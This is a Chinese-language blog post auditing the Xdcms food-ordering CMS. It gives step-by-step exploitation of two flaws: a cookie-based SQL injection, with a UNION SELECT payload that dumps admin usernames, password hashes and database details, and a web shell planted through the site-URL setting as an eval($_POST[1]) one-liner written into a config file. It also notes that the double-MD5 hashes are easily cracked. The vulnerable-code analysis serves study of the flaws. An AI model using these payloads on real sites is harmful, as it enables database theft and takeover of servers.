Xdcms 订餐网站管理系统代码审计

作者:hack1990 时间:12-07-09 阅读数:764人阅读

直接问题URL:http://www.xxx.com/index.php?m=member&f=edit

问题文件名:/system/modules/member/index.php 

 

 $userid=$_COOKIE['member_userid'];  采用cookie 调用member_userid附给$userid

然后没有经过任何过滤的直接进入了sql查询语句,并且没有单引号哦。

利用方法:

为了自己新手方便我使用了火狐浏览器的edit cookies插件来修改

1、  先随便注册一个账号

(注册跟登录的时候老是提示验证码不正确,为止我把判断验证码的地方直接给注释掉了)


 

有两处哦。

2、  登录进后台然后点击 资料管理

3、  在工具 – edit cookies 打开插件

 

 

 

因为我是本地测试IP是127.0.0.1 所以我直接搜索127.0.0.1

 通过下拉菜单找到 member_userid 这个, 再点击edit 进入编辑

4、语句 -6 Union seLect 1,2,username,4,5,6,7,8,9,10,11,user(),password,database(),version() fRom c_admin

 

来张效果图

 

接下来后台拿shell部分了

由于太晚了要回家睡觉了,不然老婆不让睡床了。后台拿shell就不详细了。

方法好几个,我只掩饰其中一个,另外的大家去挖掘吧,一起分享学习。

先说利用方法再看代码。

1、后台登录页面的验证码一样要注释掉,不知道是不是我本地的PHP环境原因。

2、系统设置 – 基本信息 – 网站地址  中填入:

');?><?php eval($_POST[1]);?>  符号一个不能少不然会出错的。

一句话链接文件/system/xdcms.inc.php  密码1

 

要注意的事我这样闭合写法是加在url前面,这样改会引起网站出错

所以拿到shell后第一时间进行恢复回来

先来张成功的图

 

好了看代码分析吧

/system/modules/xdcms/setting.php

 

首先把函数用foreach循环读取进来给数组$info

 

if($tag=='config'){
//判断url是否以/结尾
$urlnum=strlen($info['siteurl'])-1;
if(substr($info['siteurl'],$urlnum,1)!="/"){
showmsg(C("update_url_error"),"-1");
}//end

$cms=SYS_PATH.'xdcms.inc.php';   //生成xdcms配置文件
$cmsurl="<?php\n
define('CMS_URL','".$info['siteurl']."');\n
define('TP_FOLDER','".$info['template']."');\n
define('TP_CACHE',".$info['caching'].");\n?>";
creat_inc($cms,$cmsurl);很明显了。没有过滤直接写入文件中来。生成配置文件。

这个利用有个满足条件。magic_quotes_gpc = Off的情况下

后台还有其它几个方法可以忽视掉这个直接拿shell。时间关系我就不写出来了

大家自己可以下载源码来研究学习一下。

加一句 这个MD5是双重加密

$password=md5(md5($password));

不过放到cmd5网站上面也是直接秒杀

from 90sec

发表评论